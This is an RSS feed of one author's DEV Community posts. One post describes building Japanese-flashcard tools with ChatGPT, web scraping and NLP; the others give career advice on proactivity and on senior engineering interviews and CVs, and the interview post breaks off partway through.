<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Erry Kostala</title>
    <description>The latest articles on DEV Community by Erry Kostala (@errietta).</description>
    <link>https://dev.to/errietta</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F49539%2F54372f98-bb09-4199-ab2e-036ccbbfcc0b.jpg</url>
      <title>DEV Community: Erry Kostala</title>
      <link>https://dev.to/errietta</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/errietta"/>
    <language>en</language>
    <item>
      <title>How I used NLP and LLM to supercharge my Japanese learning</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Mon, 19 May 2025 13:40:50 +0000</pubDate>
      <link>https://dev.to/errietta/how-i-used-nlp-and-llm-to-supercharge-my-japanese-learning-5bd1</link>
      <guid>https://dev.to/errietta/how-i-used-nlp-and-llm-to-supercharge-my-japanese-learning-5bd1</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;I'm a software engineer and I have been studying Japanese for about a year and a half. In my free time, I've made some tools to help me study. In this post, I want to talk about these tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  Japanese 101
&lt;/h2&gt;

&lt;p&gt;First of all, I imagine that my audience is mainly Software Engineers and other people mainly interested in the technology aspect, and not many of you speak Japanese or are studying Japanese. So I need to explain a few basic things about the Japanese language that will help you understand the reasoning behind the code I wrote. I'm not a linguist, so I will just try to explain things to the limit of my knowledge.&lt;/p&gt;

&lt;p&gt;Japanese has 3 writing systems, two of which (Hiragana and Katakana) are a syllabary, and one of which is pictographs (in particular, Chinese letters - Kanji). Each Kanji has a meaning (what the character means) as well as one or more readings (what sounds correspond to the character). In english, the letter 'a' doesn't mean anything on its own. But in Japanese, the kanji 本 means "book", "origin", and a few other things depending on the context.&lt;/p&gt;

&lt;p&gt;If you see that kanji and you have never seen it before, you will not be able to read it, and you also won't know what it means. So when you are learning, you care about both the reading and the meaning of each word.&lt;/p&gt;

&lt;p&gt;Typically, hiragana is used to replace kanji to show the reading of new words. So the sentence 本(book)を(object marking particle) 読む(read) ("to read a book") could be written as ほん(book)を(object marking particle)よむ(read). The advantage of this way of writing is that you can use your existing knowledge of Hiragana and Katakana (only 92 characters, which you need to learn very early on), to learn the reading of new kanji.&lt;/p&gt;

&lt;p&gt;These characters will often be added on top of kanji (called furigana ) to aid in reading, this is an example image.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy2ui6w7fmxluh0wmvkpo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy2ui6w7fmxluh0wmvkpo.png" alt="an image showing furigana" width="233" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that I have covered this, I want to cover a few things about learning Japanese.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools for learning Japanese
&lt;/h2&gt;

&lt;p&gt;A popular study application used by learners of Japanese (but also by students of other subjects) is Anki. This is an application with which you can make flashcards, a selection of which you can study each day. The order and frequency in which flash cards are presented is chosen by an advanced Spaced Repetition Study (SRS) ensuring you study as efficiently as possible to retain knowledge longer.&lt;/p&gt;

&lt;p&gt;Typically I make my Anki flashcards using three fields&lt;/p&gt;

&lt;p&gt;Sentence:&lt;br&gt;
The original sentence&lt;/p&gt;

&lt;p&gt;Reading:&lt;br&gt;
The sentence annotated with furigana&lt;/p&gt;

&lt;p&gt;Meaning:&lt;br&gt;
The English meaning&lt;/p&gt;

&lt;p&gt;For example, the below image is a flash card for the sentence that I mentioned earlier&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fulvnppflxpiwagmu4k7i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fulvnppflxpiwagmu4k7i.png" alt="Image description" width="800" height="543"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And here's what the flash card will look like when studying and when checking the answer&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepnci8j7uydgaz1skbjw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepnci8j7uydgaz1skbjw.png" alt="Image description" width="800" height="685"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhmv4q3jbctorkpt89tev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhmv4q3jbctorkpt89tev.png" alt="Image description" width="800" height="682"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, by adding furigana in brackets [] next to the kanji, I can annotate the reading. So by entering 本[ほん] the reading ほん will appear above the kanji 本.&lt;/p&gt;
&lt;h2&gt;
  
  
  Automating the flash card making process. (ChatGPT stuff begins!)
&lt;/h2&gt;

&lt;p&gt;Making flash cards, especially inputing the reading and meaning, is a time consuming process. I wanted to build an application that allowed me to paste or type in a Japanese sentence (from Manga, Anime, News, etc.) and generate the flash card for me.&lt;/p&gt;

&lt;p&gt;Enter ChatGPT.&lt;/p&gt;

&lt;p&gt;I made a simple Node.js backend which retrieves a Japanese sentence and returns three fields.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{"sentence": "本を読む",
"reading": "本[ほん]を 読[よ]む",
"meaning": "to read a book"
} # The space is necessary to correctly insert the furigana inside Anki
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The backend uses ChatGPT with the following code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  # anki card format
  const AnkiCard = z.object({
    sentence: z.string(),
    reading: z.string(),
    meaning: z.string(),
  });

  # System prompt
  const STARTING_PROMPT = `You will receive a japanese sentence. You are to return ONLY RAW PLAINTEXT JSON of the following:
  1. ** sentence**: Present each sentence with kanji as typically used, always inserting kanji where applicable even if omitted by the user.
  2. **reading**: Display the sentence with furigana formatting compatible with Anki, by adding readings in brackets next to the kanji.
  Ensure a single regular full-width space ALWAYS precedes each kanji. Even if the kanji is at the start of the sentence, the space should still be applied.
  For example, "わたしは 食[た]べます". or at the start of a sentence: " 食[た]べます"
  3. **meaning **: Provide an English translation of each sentence, including necessary explanations to accurately convey the meaning.
  Direct translation isn't required, but the essence of the message should be clear.
  Your responses will automatically generate the required information for effective Anki Deck cards for each sentence without user confirmation or additional prompts. 
  You are adept at handling sentences across various  contexts, supporting users from beginner to advanced levels. 
    You provide RAW TEXT JSON only, as the text will be parsed by an app!`;

  const SYSTEM_MESSAGE = {
    "role": "system",
    "content": STARTING_PROMPT
  }

  const existingConversation = [
      SYSTEM_MESSAGE,
  ];

  # Sentence to convert
  existingConversation.push({
    "role": "user",
    "content": text
  })

  const response = await openai.chat.completions.create({
    model: ANKI_MAKER_MODEL,
    messages: existingConversation,
    response_format: zodResponseFormat(AnkiCard, "anki-card"),
  });
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once I send my prompt and the user's sentence to ChatGPT, I use my custom &lt;code&gt;zodResponseFormat&lt;/code&gt; to get the data back in JSON rather than human language. Then I simply return it to the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   res.json({
    prompt: text,
    reply: {
      reading: parsed.reading,
      sentence: parsed.sentence,
      meaning: parsed.meaning,
    }
  });
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And here's it working in real time:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhu9hl5vaghs2qypo36p9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhu9hl5vaghs2qypo36p9.png" alt="Image description" width="800" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After that, I built a very basic frontend for it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fol8c31hlcqu6o8qozyxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fol8c31hlcqu6o8qozyxl.png" alt="Image description" width="800" height="889"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And finally I added a feature to download a CSV of the sentences, which can then be dragged and dropped into Anki.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating further (The python/NLP stuff!)
&lt;/h2&gt;

&lt;p&gt;The process of creating flash cards consists of reading text, spotting words I don't know, and then using my API above to create flash cards.&lt;/p&gt;

&lt;p&gt;As a learning project, I wanted to automate the first two parts of the process as well. I generally don't think that's something one should do, because reading and finding new words on your own is an important part of learning. Nevertheless, if I ever wanted to be lazy, I needed a way to automate the whole process up to the creation of the flashcard, leaving me with just the task of studying from the card.&lt;/p&gt;

&lt;p&gt;The project could be broken down in the following steps.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Find some Japanese sentences. I could scrape news websites for easy access to some real Japanese.&lt;/li&gt;
&lt;li&gt;Find sentences that contain words I don't already have in my Anki deck. This is important, because I don't want to create thousands of duplicated cards every time I run the script, nor do I want to create thousands of cards with no learning value to me.&lt;/li&gt;
&lt;li&gt;Use my API to create the anki-formatted flash cards (this is simple, just an API call)&lt;/li&gt;
&lt;li&gt;Add the cards to Anki (again this can be done with just an API call)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The challenging parts would be 1 and 2 as 3 and 4 were just API calls.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scraping the news
&lt;/h3&gt;

&lt;p&gt;Turns out this was pretty simple. Given a news article, all I had to do was to use &lt;code&gt;Beautiful Soup&lt;/code&gt; to extract the text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def scrape_news_article(url):
    """
    Scrapes a Japanese article for its title and content.
    Returns a dictionary with 'title' and 'content'.
    """
    headers = {
        "User-Agent": USER_AGENT,
    }
    try:
        response = requests.get(url, headers=headers, timeout=30)
        response.raise_for_status()
    except requests.RequestException as e:
        logger.error(f"Error fetching the article: {e}")
        return None

    soup = BeautifulSoup(response.content, "html.parser")

    # Find the title
    title_tag = soup.find("h1")
    title = title_tag.get_text(strip=True) if title_tag else "No title found"

    # Find the content
    content_tag = soup.find("div", id="js-article-body")
    content = content_tag.get_text(strip=True) if content_tag else "No content found"

    return {"title": title, "content": content}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting my existing list of Anki cards
&lt;/h3&gt;

&lt;p&gt;Using the 'Anki Connect' extension, I got a list of every single card in the deck.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def get_anki_sentences(deck_name=None):
    """
    Fetches sentences from Anki via AnkiConnect API.
    Optionally filters by deck name.
    Returns a list of sentences (strings).
    """
    # Find note IDs in deck
    query = {"action": "findNotes", "version": 6, "params": {}}
    if deck_name:
        query["params"]["query"] = f"deck:{deck_name}"
    else:
        query["params"]["query"] = ""

    response = requests.post(ANKI_SERVER, json=query, timeout=60)
    note_ids = response.json().get("result", [])
    if not note_ids:
        logger.error(f"No notes found in deck '{deck_name}'")
        return []

    logger.info(f"Found {len(note_ids)} notes in deck '{deck_name}'")
    # Fetch note info
    notes_query = {"action": "notesInfo", "version": 6, "params": {"notes": note_ids}}

    notes_response = requests.post(ANKI_SERVER, json=notes_query, timeout=60)
    notes = notes_response.json().get("result", [])
    # Extract sentences (assume field named 'Sentence' or use first field)

    sentences = []
    for note in notes:
        fields = note.get("fields", {})
        if "Sentence" in fields:
            value = fields["Sentence"]["value"]
            value = strip_tags(value)
            sentences.append(value)
        elif fields:
            first_field = next(iter(fields.values()))
            value = first_field["value"]
            value = strip_tags(value)
            sentences.append(value)
    return sentences
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Extracting the words
&lt;/h3&gt;

&lt;p&gt;As I mentioned, I only care about sentences that contain words that don't already exist in my deck. In very simple terms I had 2 sets:&lt;br&gt;
&lt;code&gt;existing_words&lt;/code&gt; - every word from every sentence in my deck, &lt;code&gt;new_words&lt;/code&gt; - every word from every sentence in the article. Then all I had to do was to subtract the decks.&lt;br&gt;
But wait a second, how do you get the sets of words?&lt;/p&gt;

&lt;p&gt;Even in English, it's not as simple as splitting the sentence by spaces and other characters such as commas. For example "I eat an apple" could be split into `["I", "eat", "an", "apple"] if you just split by space, but  "I ate an apple" would be split into ["I", "ate", "an", "apple"]. This isn't good enough, because "eat" and "ate" are the same word, just conjugated differently. If I simply split by word, I would end up with a lot of cards containing the same words just conjugated differently. Additionally, articles such as "an" are words, but this is clearly not something that should count towards being a word worth learning. &lt;/p&gt;

&lt;p&gt;In Japanese, it's even more complicated because you can't just split by spaces. Japanese simply doesn't use spaces between words (although text aimed specifically at young children or foreign learners often does, 'real' Japanese doesn't). &lt;/p&gt;

&lt;p&gt;It's clear I'd need to do something clever. Enter NLP.&lt;/p&gt;

&lt;p&gt;Using a python module called &lt;code&gt;fugashi&lt;/code&gt;, I was able to do the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Get the base form of each word - 'ate' and 'eat' would both count as 'eat'&lt;/li&gt;
&lt;li&gt;Ignore particles, prepositions, and other words that aren't worth caring about, focusing only on verbs, nouns, and adjectives.&lt;/li&gt;
&lt;li&gt;Ignore numbers (10, 20, 300, 3411, etc are all words, but not something worth learning on its own with anki), proper nouns (I don't need to learn the name of some random Japanese politician from Fukuoka, sorry), and foreign words and symbols.&lt;/li&gt;
&lt;li&gt;Get a 'neat' list of words from both news articles and my Anki deck and return only sentences containing 'new' words!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the code to extract the words I cared about:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;br&gt;
def extract_vocab(sentences):&lt;br&gt;
    """&lt;br&gt;
    Extracts a set of vocabulary words from a list of sentences, filtering by&lt;br&gt;
    part of speech. Excludes words that are numbers.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;This function uses a morphological tagger to analyze each sentence and
extracts words whose part of speech is either noun ("名詞"), verb ("動詞"), or
adjective ("形容詞").  For each matching word, the lemma (base form) is added
to the vocabulary set if available; otherwise, the surface form is used.

Args: sentences (Iterable[str]): A list or iterable of sentences to process.

Returns: set: A set of unique vocabulary words (lemmas or surface forms)
matching the allowed parts of speech.
"""
# Nouns, verbs, and adjectives
allowed_pos = ("名詞", "動詞", "形容詞")
# Exclulude numbers and proper nouns
excluded_pos2 = ("数", "数詞", "固有名詞")
# Exclude foreign words and symbols
excluded_goshu = ("外", "記号")
tagger = Tagger()
vocab = set()
for sentence in sentences:
    for word in tagger(sentence):
        pos = word.feature.pos1
        if (
            pos in allowed_pos
           and word.feature.pos2 not in excluded_pos2
           and word.feature.goshu not in excluded_goshu
        ):
            logger.debug(f"Word: {word.surface}, feature {word.feature}")
            # Use lemma if available (for base form comparison)
            vocab.add(word.feature.lemma or word.surface)
return vocab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And I can use it like so to get the new word sentences:&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;br&gt;
def filter_sentences_by_new_words(new_sentence_list, existing_sentence_list):&lt;br&gt;
    """&lt;br&gt;
    Filters sentences from new_sentence_list that contain words not present in&lt;br&gt;
    existing_sentence_list. Also returns the new words found in each sentence.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Args: new_sentence_list (list of str): List of sentences to filter.
existing_sentence_list (list of str): List of sentences representing known
vocabulary.

Returns: list of tuples: Each tuple contains (sentence, set of new words)
where the set contains words in the sentence not found in the vocabulary
extracted from existing_sentence_list.
"""
known_vocab = extract_vocab(existing_sentence_list)
results = []
for sentence in new_sentence_list:
    sentence_vocab = extract_vocab([sentence])
    new_words = sentence_vocab - known_vocab
    if new_words:
        results.append((sentence, new_words))
return results
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting it all together
&lt;/h2&gt;

&lt;p&gt;After making this code, it was just a POST request to create my flash cards. And what do you know, it worked!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwbysr3dofufwf00jijut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwbysr3dofufwf00jijut.png" alt="Image description" width="800" height="623"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you want to see the code behind this check out &lt;a href="https://github.com/errietta/card-miner/tree/main" rel="noopener noreferrer"&gt;https://github.com/errietta/card-miner/tree/main&lt;/a&gt; and &lt;a href="https://github.com/errietta/ankimaker-backend/tree/main" rel="noopener noreferrer"&gt;https://github.com/errietta/ankimaker-backend/tree/main&lt;/a&gt; as well as a video I made about the whole process&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=qFLuKbm0hZY" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=qFLuKbm0hZY&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I hope you have enjoyed this deep dive into languages, both human and computer and have got something useful from it!&lt;/p&gt;

</description>
      <category>llm</category>
      <category>nlp</category>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>How to be proactive as a Software Engineer</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Tue, 28 Jan 2025 11:57:49 +0000</pubDate>
      <link>https://dev.to/errietta/how-to-be-proactive-as-a-software-engineer-1g20</link>
      <guid>https://dev.to/errietta/how-to-be-proactive-as-a-software-engineer-1g20</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;As technical leaders, it is our job to solve problems proactively, without someone telling us what to do. This can be challenging as it requires to get out of the "problem solving" mindset, which comes naturally to us, and take a step back to the "problem space understanding/problem finding" mindset. However, it is necessary to advance in our career.&lt;/p&gt;

&lt;h2&gt;
  
  
  Anticipate Problems Before They Arise
&lt;/h2&gt;

&lt;p&gt;Don't wait for issues to surface. Regularly review your code and that of your peers to identify potential pitfalls. Implement comprehensive testing and consider edge cases during development. By foreseeing challenges, you can address them proactively, reducing future technical debt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Communicate Effectively
&lt;/h2&gt;

&lt;p&gt;As engineers, we might feel that frequent updates are unnecessary, especially if we’re deeply involved in the project. However, stakeholders who are less hands-on require regular updates to stay informed. Even if they don’t explicitly ask for updates, it’s good practice to provide a summary of progress at least once a week. If something is going to take longer than expected—even by a small amount—inform them as soon as you know. While this may feel excessive to us, it’s often the right level of communication for stakeholders.&lt;/p&gt;

&lt;p&gt;Additionally, if someone doesn’t respond to a message or question, don’t hesitate to follow up. You’re not being annoying; senior people in the company are busy and may have missed your question. It’s perfectly fine to request an acknowledgment, such as: “If you can’t get back to this today, can you please let me know a timeline so I can inform my team?” Remember, it’s also part of their job to support you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Seek Feedback and Act on It
&lt;/h2&gt;

&lt;p&gt;When you’re a junior engineer, feedback often comes directly from your manager or lead. As you grow into a senior role, you need to take the initiative to seek feedback proactively. Regularly ask your peers, mentors, and stakeholders for input on your work. Acting on this feedback not only improves your performance but also demonstrates a willingness to grow and adapt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Document, Mentor and Collaborate
&lt;/h2&gt;

&lt;p&gt;If you’ve worked on something new or had to dig through complex code to figure something out, document your findings. This makes it easier for the next person tackling the same issue. Writing documentation is an investment that saves time for everyone in the future.&lt;/p&gt;

&lt;p&gt;For teams with junior members, consider setting up regular one-on-one sessions to share your knowledge. For example, you might say, “This week, I refactored the payments logic. Would you like me to walk you through what I did and what I learned?” These sessions are meaningful learning opportunities for both you and your teammates, fostering collaboration and a culture of continuous improvement.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;In summary, being a technical leader in a senior position is less "how to do" and more "how to avoid future issues". However, this doesn't mean you have to do it alone. You are perfectly in the right to ask for what you need from others and help each other within your team.&lt;/p&gt;

&lt;p&gt;What are your tips for staying proactive as a senior leader? Please let me know!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>productivity</category>
      <category>communication</category>
    </item>
    <item>
      <title>How to get the best job offer for senior+ software engineer roles</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Mon, 15 Aug 2022 14:55:00 +0000</pubDate>
      <link>https://dev.to/errietta/how-to-get-the-best-job-offer-for-senior-software-engineer-roles-4pdf</link>
      <guid>https://dev.to/errietta/how-to-get-the-best-job-offer-for-senior-software-engineer-roles-4pdf</guid>
      <description>&lt;h2&gt;
  
  
  Navigating "senior+" job interviews
&lt;/h2&gt;

&lt;p&gt;I recently did a round of job interviews. I'm on the top end of the Senior Software Engineer band, and I was looking for other "top of senior" or Staff Software Engineer roles. At the end of the interview process I had two job offers, although I believe I could have had more if I was more focussed on interviews after I already had those two offers and if I had more time. The interview process is sometimes difficult to navigate and it definitely took me some time to get right.&lt;/p&gt;

&lt;p&gt;Because of this, I wanted to share my experience with people who are curious as to what interviews for Senior Software Engineer (or above) positions look like, or what those roles require from candidates.&lt;/p&gt;

&lt;p&gt;A few stipulations/disclaimers before I get to it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This is based on my experience in London (UK). Salaries and job titles vary per company and per location.&lt;/li&gt;
&lt;li&gt;I can't promise any particular results in terms of job offers due to reading this blog post.&lt;/li&gt;
&lt;li&gt;This is my opinion, and not the opinion of my employer. This is based on my interview experience and does not necessarily reflect my current role or compensation.&lt;/li&gt;
&lt;li&gt;YMMV.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Pieces of the Puzzle
&lt;/h2&gt;

&lt;p&gt;Ok then, let's get to it!&lt;/p&gt;

&lt;p&gt;The job interview process typically consists of several different stages. Some companies will have multiple interviews across multiple days, while some while 'compress' it into a shorter process. Even if the process itself is across fewer days, the actual stages involved have been the same in my experience. These stages are as following (not necessarily in this order):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CV/Apply to the role&lt;/li&gt;
&lt;li&gt;Initial call with a recruiter&lt;/li&gt;
&lt;li&gt;Introduction with the hiring manager (this part may be skipped or done as part of another call)&lt;/li&gt;
&lt;li&gt;Coding test&lt;/li&gt;
&lt;li&gt;Architecture/Systems design test&lt;/li&gt;
&lt;li&gt;Situational (STAR) interview&lt;/li&gt;
&lt;li&gt;Final stage/Values interview&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will break down these steps in this blog post, and try to explain what kind of skills are desired in those steps from senior engineers.&lt;/p&gt;

&lt;h2&gt;
  
  
  CV &amp;amp; Application
&lt;/h2&gt;

&lt;p&gt;Writing a CV is probably a whole art on its own, and I'm probably not best placed to say what makes a great CV or not, but I can say what has worked for me. By the way, &lt;a href="https://www.errietta.me/cv/" rel="noopener noreferrer"&gt;here is mine&lt;/a&gt; if you want some inspiration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Intro
&lt;/h3&gt;

&lt;p&gt;Put a short paragraph at the top introducing yourself, what you bring to the table, and what you want from your next role. This is mine:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I am a senior software engineer with 8 years of experience. I am skilled in designing reliable and performant systems, integrating with third parties, and building solutions from the ground up. In my next role, I am looking for a role that will allow me to grow into a Staff Engineer or Architect position.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;💡Take a look at the "Elevator pitch" section later in this blog post as a lot of the same rules for that apply here.&lt;/p&gt;

&lt;h3&gt;
  
  
  Experience
&lt;/h3&gt;

&lt;p&gt;Add your experience to your CV. Usually this is in order of recency, but if a past role is more relevant to what you are applying for, you could bend the rules and go order of relevance.&lt;/p&gt;

&lt;p&gt;People like to see &lt;strong&gt;impact&lt;/strong&gt; and &lt;strong&gt;results&lt;/strong&gt; for more senior roles. Speak about projects you've led, initiatives you've taken, and the impact you've had to the company. Did your work make some part of the application faster? Did it result in your company passing a pentest? Did it result in 10 new clients signing up? If you're not sure, this is the time to speak to your PM and figure out! They certainly have (or should have) some way of monitoring the impact of the features you're building.&lt;/p&gt;

&lt;h3&gt;
  
  
  Education history: To include or not?
&lt;/h3&gt;

&lt;p&gt;Don't get too hang up on your education history. After my first couple of jobs, nobody has asked me about it. I've actually completely removed it from my CV to save space and I haven't noticed any adverse effects from doing so. I actually believe that in some circumstances, including it could be more of a disservice, but that's just an opinion and perhaps something for a different blog post&lt;/p&gt;

&lt;h3&gt;
  
  
  Talks/Contributions
&lt;/h3&gt;

&lt;p&gt;Speak about things outside of work! For example, I include my talks in my CV. I should actually probably make them more prominent.&lt;/p&gt;

&lt;p&gt;Talks, open source contributions, blog posts, are all things you can show your prospective employer to show that you know what you're talking about.&lt;/p&gt;

&lt;p&gt;Contrary to popular belief, you don't have to be a very active open source contributor or have no other hobbies outside of coding to get a job - but any public work that you can show is a chance to show off your skills. You can't bring them into your workplace and show them how good you are, so this is the next best thing. Give yourself credit for things you've done that are public and you can display - a lot more things than "active React contributor" are valid here.&lt;/p&gt;

&lt;p&gt;You definitely don't have to go out of your way to create out-of-work material to show, just think about things you've already done at the course of your career. Even if you don't have an active Github profile (I don't!), don't sell yourself short, there are other things you may be able to display.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recruiter/Hiring manager introduction
&lt;/h2&gt;

&lt;p&gt;Whether your introduction call is with the recruiter, the hiring manager, or both, the structure is pretty similar. This stage and the final stage are actually the easiest. Some mild preparation is required, but if you have done a good number of job interviews before, you will be able to do this with your eyes closed.&lt;/p&gt;

&lt;p&gt;The questions here usually fall into the following categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Who are you?&lt;/li&gt;
&lt;li&gt;What can you offer to the company? Why are you a good fit to this particular role?&lt;/li&gt;
&lt;li&gt;What can the company offer to you?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do some cursory research on the company here. Good hiring managers and recruiters will explain the company's industry and mission to you in this stage anyway, but it never hurts if you already know something about the company. Be yourself,  and show interest. If something catches your eye on the company's website or social media, don't forget to bring it up - this shows you are interested and observant.&lt;/p&gt;

